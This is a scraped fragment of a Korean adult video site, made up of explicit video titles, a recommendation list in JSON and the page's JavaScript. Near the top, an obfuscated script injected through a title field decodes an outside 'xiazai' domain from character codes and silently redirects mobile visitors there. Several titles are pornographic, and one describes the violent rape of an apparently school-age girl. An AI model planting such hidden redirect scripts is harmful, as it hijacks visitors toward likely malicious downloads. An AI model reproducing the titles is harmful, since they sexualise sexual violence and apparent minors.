추천 영상
23:07
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>3P 최고급 유부녀 문신한 오빠와 형제들 3P 격렬하게 섹스하는 부동산 판매원 최고급 유부녀 얼굴 노출</script></title>
01:06:49
332NAMA-070 사치, 24세, 뛰어난 스타일 감각을 자랑하는 헤어디자이너! (특징: 잘록한 허리, 아름다운 엉덩이, 풍만한 가슴, 밝은 성격, 하이힐, 섹시한 의상, 간호사 복장, 욕실, 3회 사정, 섹스, 구강성교, 블로우잡)
3P 최고급 유부녀 문신한 오빠와 형제들 3P 격렬하게 섹스하는 부동산 판매원 최고급 유부녀 얼굴 노출","lastmod":"2026-07-11","duration":"23:07","url":"/play/19162609.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODcyMDJkODY4MzVhMGI3MjE3MjE4YmQ4NzRjNDg1NjcuanBn.cache","vod_id":19150853,"title":"순진하고 아름다운, 반에서 제일 예쁜 소녀가 불량배의 감언이설에 속아 호텔로 갔다가 여린 성기를 잔인하게 강간당했다.","lastmod":"2026-03-30","duration":"14:38","url":"/play/19150853.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDBmMDBkODRjY2ExODRjMTBlYzA4M2NiM2FkMThjOGYuanBn.cache","vod_id":19016045,"title":"전 MEYD507 엔터테이너! H컵의 늘씬한 몸매에 글래머러스한 가슴을 가진 주부, 나카노 나나오가 AV 데뷔를 합니다!!","lastmod":"2025-03-24","duration":"02:51:37","url":"/play/19016045.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTNmZGExZDg1Yzk2Zjk2MDM3NmFiZGNjYzZiNGQwYWIuanBn.cache","vod_id":18991968,"title":"332NAMA-070 사치, 24세, 뛰어난 스타일 감각을 자랑하는 헤어디자이너! (특징: 잘록한 허리, 아름다운 엉덩이, 풍만한 가슴, 밝은 성격, 하이힐, 섹시한 의상, 간호사 복장, 욕실, 3회 사정, 섹스, 구강성교, 블로우잡)","lastmod":"2025-03-23","duration":"01:06:49","url":"/play/18991968.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmM1MTVkMjhjMDk2YjA4N2Y3Y2FiZTg4MzE1NDZlNDMuanBn.cache","vod_id":19004564,"title":"가슴이 큰 젊은 여성이 욕실에서 샤워를 하거나 호텔 방에서 성관계를 갖는데, 발각될까 봐 두려워하는 모습.","lastmod":"2025-03-23","duration":"06:15","url":"/play/19004564.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MTMvNzRjYzYzYjE0NTdkMTE2OGJiNTE3Njg2Y2U3OGZlZTguanBn.cache","vod_id":19033259,"title":"ADN-477 퇴근 후 기혼 여성이 운영하는 퇴폐적이고 요실금에 찌든 마사지 샵.","lastmod":"2025-05-13","duration":"01:55:57","url":"/play/19033259.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWM1MzgyZWMzOWJjY2EzYTRlMDE0NDM4M2ZlNzYxZmQuanBn.cache","vod_id":19008662,"title":"NASH136은 기혼 여성을 성추행했습니다. 저는 성관계를 하러 여기에 왔습니다. 저는 지금의 제 모습, 남편이 모르는 유일한 제 모습을 버리려고 합니다…","lastmod":"2025-03-24","duration":"02:20:50","url":"/play/19008662.html"}]},
videoTitle: '기혼 여성은 욕실에서 몸을 씻고 애인이 자신을 격렬하게 범해주기를 기다렸다.',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}